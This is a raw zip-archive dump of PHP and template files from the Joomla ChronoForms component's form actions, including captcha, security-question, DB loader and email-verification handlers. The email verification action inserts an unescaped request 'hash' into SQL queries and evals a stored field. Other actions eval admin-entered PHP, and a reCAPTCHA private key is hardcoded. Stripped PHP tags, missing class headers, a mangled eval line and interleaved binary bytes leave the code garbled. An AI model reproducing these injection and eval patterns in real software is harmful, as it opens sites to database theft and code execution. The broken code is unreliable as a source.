md5('chrono')); //$session_key_field = ''; }else{ $session->set("chrono_security_answers", $answers, md5('chrono')); $session_key_field = ""; } $form->form_details->content = str_replace('{chrono_security_question}', $session_key_field.trim($choosen[0]), $form->form_details->content); } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'enabled' => 1, 'session_key' => 1 ); } return array('action_params' => $action_params); } } ?>PK@y>\n t  ecomponents/com_chronoforms/form_actions/custom_serverside_validation/custom_serverside_validation.ctpnuW+A
      Custom Server Side Validation
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_serverside_validation_config_{n}'); ?> tabStart('settings'); ?> input('action_custom_serverside_validation_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'Returning "boolean" false will fail, anything else or no return at all will lead to success.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You should use PHP code with php tags.
      • Returning "boolean" false will fail, anything else or no return at all will lead to success.
      • Set fields errors by adding a new key => value entry to the $form->validation_errors array, where "key" is the "field name" and "value" is the "Error message", for example, if you want to set an error to the "email" field you should use this code
        $form->validation_errros['email'] = "Email error message is here.";.

      tabEnd(); ?>
      PK@y>\)Ncomponents/com_chronoforms/form_actions/custom_serverside_validation/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ҋ=]ecomponents/com_chronoforms/form_actions/custom_serverside_validation/custom_serverside_validation.phpnuW+A 0, 'fail' => 0); var $group = array('id' => '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Custom Server Side Validation', 'tooltip' => 'Run PHP code and switch the execution path based on the result.'); function run($form, $actiondata){ $code = $actiondata->content1; $return = eval('?>'.$code); if($return === false){ $this->events['fail'] = 1; }else{ $this->events['success'] = 1; } } function load($clear){ if($clear){ $action_params = array( 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\ Ocomponents/com_chronoforms/form_actions/custom_serverside_validation/index.htmlnuW+A PK@y>\ىKcomponents/com_chronoforms/form_actions/check_recaptcha/check_recaptcha.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Check Recaptcha', 'tooltip' => 'Checks the submitted Recaptcha value.'); function run($form, $actiondata) { $params = new JParameter($actiondata->params); if(!defined('RECAPTCHA_VERIFY_SERVER')){ define('RECAPTCHA_VERIFY_SERVER', $params->get('verify_server')); } $resp = $this->recaptcha_check_answer( $params->get('private_key'), $_SERVER["REMOTE_ADDR"], JRequest::getVar("recaptcha_challenge_field"), JRequest::getVar("recaptcha_response_field") ); if ( !$resp->is_valid ) { $form->validation_errors['recaptcha'] = $params->get('error', "The reCAPTCHA wasn't entered correctly. Please try it again."); $form->debug[] = "( reCAPTCHA said: ".$resp->error." )"; $this->events['fail'] = 1; }else{ $this->events['success'] = 1; } } /** * Calls an HTTP POST function to verify if the user's guess was correct * @param string $privkey * @param string $remoteip * @param string $challenge * @param string $response * @param array $extra_params an array of extra variables to post to the server * @return CFReCaptchaResponse */ function recaptcha_check_answer ($privkey, $remoteip, $challenge, $response, $extra_params = array()) { if ( $privkey == null || $privkey == '' ) { die ("To use reCAPTCHA you must get an API key from https://www.google.com/recaptcha/admin/create"); } if ( $remoteip == null || $remoteip == '' ) { die ("For security reasons, you must pass the remote ip to reCAPTCHA"); } //discard spam submissions if ( $challenge == null || strlen($challenge) == 0 || $response == null || strlen($response) == 0) { $recaptcha_response = new CFReCaptchaResponse(); $recaptcha_response->is_valid = false; $recaptcha_response->error = 'incorrect-captcha-sol'; return $recaptcha_response; } $response = $this->_recaptcha_http_post (RECAPTCHA_VERIFY_SERVER, "/recaptcha/api/verify", array ( 'privatekey' => $privkey, 'remoteip' => $remoteip, 'challenge' => $challenge, 'response' => $response ) + $extra_params ); $answers = explode ("\n", $response [1]); $recaptcha_response = new CFReCaptchaResponse(); if (trim ($answers [0]) == 'true') { $recaptcha_response->is_valid = true; } else { $recaptcha_response->is_valid = false; $recaptcha_response->error = $answers [1]; } return $recaptcha_response; } function _recaptcha_http_post($host, $path, $data, $port = 80) { $req = $this->_recaptcha_qsencode ($data); $http_request = "POST $path HTTP/1.0\r\n"; $http_request .= "Host: $host\r\n"; $http_request .= "Content-Type: application/x-www-form-urlencoded;\r\n"; $http_request .= "Content-Length: " . strlen($req) . "\r\n"; $http_request .= "User-Agent: reCAPTCHA/PHP\r\n"; $http_request .= "\r\n"; $http_request .= $req; $response = ''; if ( false == ( $fs = @fsockopen($host, $port, $errno, $errstr, 10) ) ) { die ("Could not open socket: $errno - $errstr"); ; } fwrite($fs, $http_request); while ( !feof($fs) ) { $response .= fgets($fs, 1160); // One TCP-IP packet } fclose($fs); $response = explode("\r\n\r\n", $response, 2); return $response; } /** * Encodes the given data into a query string format * @param $data - array of string elements to be encoded * @return string - encoded request */ function _recaptcha_qsencode ($data) { $req = ""; foreach ( $data as $key => $value ) $req .= $key . '=' . urlencode( stripslashes($value) ) . '&'; // Cut the last '&' $req=substr($req, 0, strlen($req) - 1); return $req; } function load($clear){ if($clear){ $action_params = array( 'private_key' => '6LfNoAUAAAAAABX7Dfw_9Pp4K4KVtKNCUHsIWG7O', 'verify_server' => 'www.google.com', 'error' => "The reCAPTCHA wasn't entered correctly. Please try it again." ); } return array('action_params' => $action_params); } } /** * A CFReCaptchaResponse is returned from recaptcha_check_answer() */ class CFReCaptchaResponse { var $is_valid; var $error; } ?>PK@y>\ Bcomponents/com_chronoforms/form_actions/check_recaptcha/index.htmlnuW+A PK@y>\PKcomponents/com_chronoforms/form_actions/check_recaptcha/check_recaptcha.ctpnuW+A
      Check ReCaptcha
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced'), 'cfaction_check_recaptcha_element_config_{n}'); ?> tabStart('settings'); ?> input('action_check_recaptcha_{n}_private_key_config', array('type' => 'text', 'label' => 'ReCaptcha private key', 'class' => 'medium_input', 'value' => '')); ?> input('action_check_recaptcha_{n}_error_config', array('type' => 'text', 'label' => 'Error Message', 'class' => 'medium_input', 'value' => '')); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_check_recaptcha_{n}_verify_server_config', array('type' => 'text', 'label' => 'ReCaptcha verify server', 'class' => 'medium_input', 'value' => '')); ?> tabEnd(); ?>
      PK@y>\)Acomponents/com_chronoforms/form_actions/check_recaptcha/.htaccessnuW+A Order allow,deny Deny from all PK@y>\og g [components/com_chronoforms/form_actions/check_security_question/check_security_question.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Check Security Question', 'tooltip' => "Check the Security Question's Answer."); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $session_key_param = $form->form_params->get('session_key_param', 'cf_sid'); if(isset($form->data['chrono_security_answer'])){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); if((bool)$params->get('session_key', 1) === true){ if(!isset($form->data[$session_key_param])){ $this->events['fail'] = 1; $form->validation_errors['chrono_security_answer'] = $params->get('error', "You have entered a wrong security question's answer."); $form->debug['Core Captcha'][] = "Couldn't find the security prefix token field value in the \$_POST array!"; return; } $session_key = $form->data[$session_key_param]; $sessionvar = $session->get("chrono_security_answers_".$session_key, array(), md5('chrono')); }else{ $sessionvar = $session->get("chrono_security_answers", array(), md5('chrono')); } $chrono_security_answer = trim($form->data['chrono_security_answer']); if(!in_array($chrono_security_answer, $sessionvar)){ $this->events['fail'] = 1; $form->validation_errors['chrono_security_answer'] = $params->get('error', "You have entered a wrong security question's answer."); if((bool)$params->get('session_key', 1) === true){ $session->clear("chrono_security_answers_".$session_key, md5('chrono')); }else{ $session->clear("chrono_security_answers", md5('chrono')); } unset($form->data[$session_key_param]); $form->data['chrono_security_answer'] = ''; $form->debug['Core Captcha'][] = "Failed the answer check!"; }else{ $this->events['success'] = 1; if((bool)$params->get('session_key', 1) === true){ $session->clear("chrono_security_answers_".$session_key, md5('chrono')); }else{ $session->clear("chrono_security_answers", md5('chrono')); } unset($form->data[$session_key_param]); $form->data['chrono_security_answer'] = ''; $form->debug['Core Captcha'][] = "Passed the answer check!"; } }else{ $this->events['fail'] = 1; $form->validation_errors['chrono_security_answer'] = $params->get('error', "You have entered a wrong security question's answer."); $form->debug['Core Captcha'][] = "Couldn't find the answer field value in the \$_POST array!"; } } function load($clear){ if($clear){ $action_params = array( 'enabled' => 1, 'error' => "You have entered a wrong security question's answer.", 'session_key' => 1 ); } return array('action_params' => $action_params); } } ?>PK@y>\ Jcomponents/com_chronoforms/form_actions/check_security_question/index.htmlnuW+A PK@y>\ڃz>[components/com_chronoforms/form_actions/check_security_question/check_security_question.ctpnuW+A
      Check Security Question
      input('action_check_security_question_{n}_error_config', array('type' => 'text', 'label' => 'Error Message', 'class' => 'medium_input', 'value' => '')); ?> input('action_check_security_question_{n}_session_key_config', array('type' => 'select', 'label' => 'Enable Session Key', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Add a unique session key for every form instance, this is helpful if more than one form or more than one instance of the same form may be loaded together.')); ?>
      PK@y>\)Icomponents/com_chronoforms/form_actions/check_security_question/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Ccomponents/com_chronoforms/form_actions/db_record_loader/index.htmlnuW+A PK@y>\)Bcomponents/com_chronoforms/form_actions/db_record_loader/.htaccessnuW+A Order allow,deny Deny from all PK@y>\qR#)Mcomponents/com_chronoforms/form_actions/db_record_loader/db_record_loader.ctpnuW+A
      DB Record Loader
      Header(array('basic' => 'Basic', 'advanced' => 'Advanced', 'help' => 'Help'), 'db_record_loader_config_{n}'); ?> tabStart('basic'); ?> input('action_db_record_loader_{n}_dbfield_config', array('type' => 'text', 'label' => "DB Field", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The field name which will be used to query the table record.")); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_db_record_loader_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The table name to load the data from.")); ?> input('action_db_record_loader_{n}_request_param_config', array('type' => 'text', 'label' => "Request Param", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The param name which will exist in the request url to the form, its value will be used to load the target db record, if the value of this parameter is an array then the array values will be used inside 'IN' statement.")); ?> input('action_db_record_loader_{n}_load_fields_config', array('type' => 'select', 'label' => 'Load Fields', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Should any form fields be loaded with data ? your field name should match the table's column name.")); ?> input('action_db_record_loader_{n}_curly_replacer_config', array('type' => 'select', 'label' => 'Curly Replacer', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Should curly brackets fields names be replaced with data from the form data array ?")); ?> input('action_db_record_loader_{n}_model_id_config', array('type' => 'text', 'label' => "Model ID", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The key under which the loaded record data will be stored in the form->data array.")); ?> input('action_db_record_loader_{n}_load_under_modelid_config', array('type' => 'select', 'label' => 'Load Under Model ID', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Should the data get loaded under the model id inside the data array ? this will affect your form fields names, if this is set to yes then your fields names should be in this format : name='MODEL_ID[field_name]'
      and your curly brackets strings: {MODEL_ID.field_name}")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_db_record_loader_{n}_content1_config', array('type' => 'textarea', 'label' => 'WHERE statement', 'rows' => 10, 'cols' => 50, 'smalldesc' => "The code used for the WHERE statement, some notes:
      1 - leave empty to use the default request param with column name formula OR use it to load whatever record you need.
      2 - don't use the WHERE word.
      3 - You can use PHP code with tags. ")); ?> input('action_db_record_loader_{n}_array_fields_sets_config', array('type' => 'text', 'label' => "Array Fields Sets", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "list of fields of types array stored in the table, fields values will be extracted, you can use single or multiple sets, e.g:
      field1,field2 OR field1,field2-field3,field4.")); ?> input('action_db_record_loader_{n}_array_separators_config', array('type' => 'text', 'label' => "Array Separators", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The separators used to explode the array fields values, multiple sets supported, should match the number of sets for the array fields.")); ?> input('action_db_record_loader_{n}_params_fields_config', array('type' => 'text', 'label' => "Parameters fields", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma separated list of fields which will be in Joomla params fields format, values will be extracted to an array.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select the table name to load the data from, only the first record from the results will be loaded.
      • Your table must have a primary key.
      • Please give your table a unique model id, e.g: jos_content can have "Article".
      • You can order the results and so control which record will be returned, use the "ORDER BY" word in the WHERE box. e.g: ORDER BY `id`.

      tabEnd(); ?>
      PK@y>\-Mcomponents/com_chronoforms/form_actions/db_record_loader/db_record_loader.phpnuW+A 0, 'notfound' => 0, 'nodata' => 0); var $group = array('id' => 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'DB Record Loader', 'tooltip' => 'Load 1 record from a Database table based on a request parameter value or a custom DB query.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $table_name = $params->get('table_name', ''); $static_where = ""; if(!empty($table_name) && (trim($params->get('dbfield', '')) || trim($actiondata->content1))){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $req_param = $form->get_array_value($form->data, explode('.', $params->get('request_param', ''))); if(is_null($req_param)){ $req_param = ''; }else{ $static_where = "`".$params->get('dbfield', '')."` = '".$form->escapeVar($req_param)."'"; if(is_array($req_param) && !empty($req_param)){ $static_where = "`".$params->get('dbfield', '')."` IN ('".implode("','", $form->escapeVar($req_param))."')"; } } $where = trim($actiondata->content1) ? $this->_processWhere(trim($actiondata->content1), $form) : $static_where; //load the model_id $model_id_sub = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", $table_name); $model_id = $params->get('model_id', ''); if(empty($model_id)){ $model_id = $model_id_sub; } //add a copy of the qury to the debug $form->debug['db_record_loader'][] = "SELECT * FROM `".$table_name."` AS `".$model_id."` WHERE ".$where; //run the query $database->setQuery("SELECT * FROM `".$table_name."` AS `".$model_id."` WHERE ".$where); $data = $database->loadAssoc(); if(!is_array($data)){ $data = array(); } //check array fields if(trim($params->get('array_fields_sets', '')) && trim($params->get('array_separators', ''))){ $fields_sets = explode('-', trim($params->get('array_fields_sets', ''))); $separators = explode('-', trim($params->get('array_separators', ''))); foreach($fields_sets as $k1 => $fields_set){ $fields_list = explode(',', $fields_set); foreach($fields_list as $k2 => $field){ if(isset($data[$field])){ $data[$field] = explode($separators[$k1], $data[$field]); } } } } //process any params fields if(strlen(trim($params->get('params_fields', ''))) > 0){ $params_fields = explode(",", trim($params->get('params_fields', ''))); foreach($params_fields as $params_field){ if(isset($data[$params_field]) && !empty($data[$params_field])){ $local_params = new JParameter($data[$params_field]); $data[$params_field] = $local_params->toArray(); } } } if((int)$params->get('load_under_modelid', 1) == 1){ $form->data[$model_id] = $data; }else{ $form->data = array_merge($form->data, $data); } //check the result $request_val = $req_param;//JRequest::getVar($params->get('request_param', '')); if(!empty($data)){ $this->events['found'] = 1; }else if(empty($request_val)){ $this->events['nodata'] = 1; }else if(empty($data)){ $this->events['notfound'] = 1; }else{ }/*else{ $this->events['found'] = 1; }*/ //replace all the curly brackets strings /*if(isset($form->form_details->content)){ if((int)$params->get('curly_replacer', 1)){ $form->form_details->content = $form->curly_replacer($form->form_details->content, $form->data); } //load any form fields if this setting is enabled if((int)$params->get('load_fields', 1)){ include_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'includes'.DS.'data_republish.php'); $HTMLFormPostDataLoad = new HTMLFormPostDataLoad(); $form->form_details->content = $HTMLFormPostDataLoad->load($form->form_details->content, $form->data); } }*/ } } function _processWhere($code, $form){ ob_start(); eval("?>".$code); $code = ob_get_clean(); return $code; } function load($clear){ if($clear){ $action_params = array( 'dbfield' => '', 'table_name' => '', 'request_param' => '', 'load_fields' => 1, 'curly_replacer' => 1, 'model_id' => '', 'array_fields_sets' => '', 'array_separators' => '', 'params_fields' => '', 'load_under_modelid' => '', 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\~Acomponents/com_chronoforms/form_actions/meta_tager/meta_tager.phpnuW+A 'Meta Tager', 'tooltip' => 'Adds different meta tags to the form page.'); var $group = array('id' => 'form_utilities', 'title' => 'Utilities'); function load($clear){ if($clear){ $action_params = array( 'description' => 'Our Contact Page.', 'robots' => 'index, follow', 'generator' => 'Joomla! - Chronoforms!', 'keywords' => '', 'title' => '', 'content1' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //settings, vars $doc = JFactory::getDocument(); //description $doc->setDescription($params->get('description', 'Our Contact Page.')); //keywords $doc->setMetaData('keywords', $params->get('keywords', '')); //robots $doc->setMetaData('robots', $params->get('robots', 'index, follow')); //generator $doc->setMetaData('generator', $params->get('generator', 'Joomla! - Chronoforms!')); //title $title = $params->get('title', ''); if(trim($title)){ $doc->setTitle($title); } //custom if(!empty($actiondata->content1)){ $list = explode("\n", trim($actiondata->content1)); foreach($list as $item){ $fields_data = explode("=", $item); $doc->setMetaData(trim($fields_data[0]), trim($fields_data[1])); } } } } ?>PK@y>\)<components/com_chronoforms/form_actions/meta_tager/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ =components/com_chronoforms/form_actions/meta_tager/index.htmlnuW+A PK@y>\{ Acomponents/com_chronoforms/form_actions/meta_tager/meta_tager.ctpnuW+A
      Meta Tager
      input('action_meta_tager_{n}_title_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Page Title", 'smalldesc' => 'The page title, leave empty to abandon.')); ?> input('action_meta_tager_{n}_description_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Description", 'smalldesc' => 'The description tag.')); ?> input('action_meta_tager_{n}_robots_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Robots", 'smalldesc' => 'The robots tag.')); ?> input('action_meta_tager_{n}_generator_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Generator", 'smalldesc' => 'The generator tag.')); ?> input('action_meta_tager_{n}_keywords_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Keywords", 'smalldesc' => 'The keywords tag.')); ?> input('action_meta_tager_{n}_content1_config', array('type' => 'textarea', 'label' => "Extra tags", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'Multi line tag title and tage value format, e.g:
      tag name1=tag value1
      tag name2=tag value2')); ?>
      PK@y>\=%Mcomponents/com_chronoforms/form_actions/dynamic_dropdown/dynamic_dropdown.ctpnuW+A
      Dynamic Dropdown
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'dynamic_dropdown_config_{n}'); ?> tabStart('settings'); ?> input('action_dynamic_dropdown_{n}_action_label_config', array('type' => 'text', 'label' => "Action Label", 'class' => 'medium_input', 'smalldesc' => 'Label for your action in the wizard.')); ?> input('action_dynamic_dropdown_{n}_source_dropdown_id_config', array('type' => 'text', 'label' => "Source Dropdown ID", 'class' => 'medium_input', 'smalldesc' => "The field id of the select box which will control the data in the target select box.")); ?> input('action_dynamic_dropdown_{n}_target_dropdown_id_config', array('type' => 'text', 'label' => "Target Dropdown ID", 'class' => 'medium_input', 'smalldesc' => "The field id of the select box which will have the dynamic content/options.")); ?> input('action_dynamic_dropdown_{n}_enable_ajax_config', array('type' => 'select', 'label' => 'Use AJAX ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Use AJAX, enable this if your target dropdown details are stored on database or if you need to generate them using some PHP.')); ?> input('action_dynamic_dropdown_{n}_ajax_event_name_config', array('type' => 'text', 'label' => "AJAX Event name", 'class' => 'medium_input', 'smalldesc' => "The form event name which will be queried using the AJAX call.")); ?> input('action_dynamic_dropdown_{n}_content1_config', array('type' => 'textarea', 'label' => "Extra options extension", 'rows' => 20, 'cols' => 70, 'smalldesc' => "The static values of both the source and the target dropdowns, in multi line format, Please check the help tab for an example.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Enter the IDs of both the source and target dropdowns.
      • Configure the static options string data.
      • The options string should be in multi line format, each line will has 1 source value and multiple target values, example:
        source_value_1:target_value_1=Target Title 1,target_value_2=Target Title 2
        source_value_2:target_value_3=Target Title 3,target_value_4=Target Title 4
      • You may enable the AJAX and enter a new event name, make sure this event is added to the form itself, example: ajax
      • The new event output should be in multi line format, example:
        value1=Title 1
        value2=Title 2
        value3=Title 3
      • Make sure you add the PHP code below to the end of your output code in the AJAX event so that you may get a a clean response:
        $mainframe = JFactory::getApplication(); $mainframe->close();

      tabEnd(); ?>
      PK@y>\4Mcomponents/com_chronoforms/form_actions/dynamic_dropdown/dynamic_dropdown.phpnuW+A 'Dynamic Dropdown', 'tooltip' => 'Attach one of your Drop Downs to another dropdown or to an AJAX event so that the data is changed dynamically.'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'target_dropdown_id' => '', 'source_dropdown_id' => '', 'enable_ajax' => 0, 'ajax_event_name' => '', 'action_label' => '', 'content1' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PK@y>\)Bcomponents/com_chronoforms/form_actions/dynamic_dropdown/.htaccessnuW+A Order allow,deny Deny from all PK@y>\+%Vcomponents/com_chronoforms/form_actions/dynamic_dropdown/cfaction_dynamic_dropdown.phpnuW+Aparams); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $dynamic_values = array(); if(!empty($actiondata->content1)){ $config = trim($actiondata->content1); $values = explode("\n", $config); foreach($values as $line){ $line_data = explode(":", trim($line)); $source_value = $line_data[0]; $target_data = $line_data[1]; $target_options = explode(",", $target_data); foreach($target_options as $target_option){ $target_option_data = explode("=", $target_option); $target_option_value = $target_option_data[0]; $dynamic_values[$source_value][$target_option_value] = $target_option_title = trim($target_option_data[1]); } } } $source_id = $params->get('source_dropdown_id', ''); $target_id = $params->get('target_dropdown_id', ''); if(((bool)$params->get('enable_ajax', 0) === true && empty($dynamic_values)) || empty($source_id) || empty($target_id)){ return false; } ob_start(); ?> window.addEvent('load', function() { $('').addEvent('change', function(){ get('enable_ajax', 0) === false): ?> $dynamic_value): ?> if($('').get('value') == ''){ $('').empty(); $option_title): ?> new Element('option', {'value': '', 'text': ''}).inject($('')); $('').fireEvent('change'); } var load_req = new Request({ url: 'index.php?option=com_chronoforms&chronoform=form_name; ?>&event=get('ajax_event_name', ''); ?>', method: 'get', onRequest: function(){ $('').empty(); new Element('option', {'value': '', 'text': 'Loading...'}).inject($('')); }, onSuccess: function(responseText){ $('').empty(); var response_data = responseText.trim().split("\n"); response_data.each(function(line){ var line_data = line.split("="); new Element('option', {'value': line_data[0], 'text': line_data[1]}).inject($('')); }); $('').fireEvent('change'); }, onFailure: function(){ $('').empty(); new Element('option', {'value': '', 'text': 'Loading failed.'}).inject($('')); } }); load_req.send($('').get('name')+'='+$('').get('value')); }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } } ?>PK@y>\ Ccomponents/com_chronoforms/form_actions/dynamic_dropdown/index.htmlnuW+A PK@y>\tōVcomponents/com_chronoforms/form_actions/dynamic_dropdown/cfaction_dynamic_dropdown.ctpnuW+Aload($form, $actiondata); ?>PK@y>\)1components/com_chronoforms/form_actions/.htaccessnuW+A Order allow,deny Deny from all PK@y>\{q--ccomponents/com_chronoforms/form_actions/email_verification_response/email_verification_response.ctpnuW+A
      Email Verification Response
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'email_verification_response_config_{n}'); ?> tabStart('settings'); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_email_verification_response_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => 'The table at which the form data is saved.')); ?> input('action_email_verification_response_{n}_verify_field_config', array('type' => 'text', 'label' => "Verification code field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the verification code is saved.')); ?> input('action_email_verification_response_{n}_verification_status_field_config', array('type' => 'text', 'label' => "Verification status field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the verification status is saved.')); ?> input('action_email_verification_response_{n}_files_array_field_config', array('type' => 'text', 'label' => "Files array field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the files array is saved.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select the db table where you want your form data to be loaded from.
      • Enter the name of your verification code field without any spaces.(e.g: verify)
      • Enter the name of your verification status field without any spaces.(e.g: verified)
      • You can use the success (or fail) events to do whatever you need after the response is processed.

      tabEnd(); ?>
      PK@y>\)K K ccomponents/com_chronoforms/form_actions/email_verification_response/email_verification_response.phpnuW+A '1_validation', 'title' => 'Validation'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Email Verification Response', 'tooltip' => 'Checks the verification link.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); //save the data to db if($_GET['action'] == 'verify'){ if(isset($_GET['hash']) && !empty($_GET['hash'])){ $database = JFactory::getDBO(); $database->setQuery("SELECT * FROM ".$params->get('table_name')." WHERE ".$params->get('verify_field')."='".JRequest::getVar('hash')."' AND ".$params->get('verification_status_field')."='0'"); $record = $database->loadAssoc(); if(!empty($record)){ $this->events['success'] = 1; //check if the files array should be loaded as well if(trim($params->get('files_array_field', ''))){ eval('?>'.'files = '.$record[trim($params->get('files_array_field'))].'; ?>'); } unset($record[trim($params->get('files_array_field'))]); //load the data array with the record data $form->data = array_merge($form->data, $record); //update the db record as "verified" $database->setQuery("UPDATE ".$params->get('table_name')." SET ".$params->get('verification_status_field')."='1' WHERE ".$params->get('verify_field')."='".JRequest::getVar('hash')."'"); if(!$database->query()){ $form->debug[] = $row->getError(); } }else{ $this->events['fail'] = 1; $form->validation_errors['verification'] = $params->get('This record does NOT exist or has already been verified.'); } }else{ $this->events['fail'] = 1; } } } function load($clear){ if($clear){ $action_params = array( 'table_name' => '', 'verify_field' => '', 'verification_status_field' => '', 'files_array_field' => '', 'verification_link_path' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\ Ncomponents/com_chronoforms/form_actions/email_verification_response/index.htmlnuW+A PK@y>\)Mcomponents/com_chronoforms/form_actions/email_verification_response/.htaccessnuW+A Order allow,deny Deny from all PK@y>\BEcomponents/com_chronoforms/form_actions/load_captcha/load_captcha.ctpnuW+A
      Load Captcha
      input('action_load_captcha_{n}_fonts_config', array('type' => 'select', 'label' => "True Type Fonts Support", 'options' => array(0 => 'Without fonts support', 1 => 'With fonts support'), 'smalldesc' => 'With fonts support is nicer but it depends on the GD library config at your server.')); ?> input('action_load_captcha_{n}_refresh_button_config', array('type' => 'select', 'label' => "Refresh Button", 'options' => array(0 => 'Disabled', 1 => 'Enabled'), 'smalldesc' => 'Add a refresh image button beside the image, this can NOT be enabled if the encoded image setting is enabled.')); ?> input('action_load_captcha_{n}_encoded_image_config', array('type' => 'select', 'label' => "Load encoded image", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'With this setting enabled, the image data will be encoded and will be sent with the other page HTML code in the same request.')); ?>
      PK@y>\拦!Ccomponents/com_chronoforms/form_actions/load_captcha/background.pngnuW+APNG  IHDRx(5>%gAMA7tEXtSoftwareAdobe ImageReadyqe<YIDATx 0IX;Ioc````,,,XXX 0````M=!~IENDB`PK@y>\}[Ecomponents/com_chronoforms/form_actions/load_captcha/load_captcha.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $details = array('title' => 'Load Captcha', 'tooltip' => 'Renders the Captcha Image, you need a "CAPTCHA Input" as one of your form fields.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $params = new JParameter($actiondata->params); $CF_PATH = $uri->root(); $uri = JFactory::getURI(); if($uri->isSSL()){ $CF_PATH = str_replace('http:', 'https:', $CF_PATH); } //check IE 5,6,7 $old_ie = false; $ua = $_SERVER['HTTP_USER_AGENT']; if(preg_match('/\bmsie [567]/i', $ua) && !preg_match('/\bopera/i', $ua)){ $old_ie = true; } if($old_ie || ((bool)$params->get('encoded_image', 0) === false)){ if((bool)$params->get('refresh_button', 0) === true){ $form->form_details->content = str_replace('{chronocaptcha_img}', ' refresh', $form->form_details->content); }else{ $form->form_details->content = str_replace('{chronocaptcha_img}', ' ', $form->form_details->content); } }else{ ob_start(); $this->generate_encoded((int)$params->get('fonts', 0)); $imgbinary = ob_get_clean(); $form->form_details->content = str_replace('{chronocaptcha_img}', ' ', $form->form_details->content); } } function generate_encoded($fonts = 0){ $mainframe = JFactory::getApplication('site'); $session = JFactory::getSession(); //generate code string $alphanum = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789abcdefghijkmnpqrstuvwxyz"; $rand = substr(str_shuffle($alphanum), 0, 5); $alphanum2 = "ABCDEFGHIJKLMNPQRSTUVWXYZ23456789abcdefghijkmnpqrstuvwxyz?><,.|\"'[{]}_=+*&^%$#@!~"; $rand2 = substr(str_shuffle($alphanum), 0, 7); $session->set("chrono_verification", md5(strtolower($rand)), md5('chrono')); //generate the image itself if($fonts){ $font = dirname(__FILE__).'/default.ttf'; $image_size = imagettfbbox(20, 0, $font, 'X'); $image_size = 5*(abs($image_size[2] - $image_size[0])+7); $im = 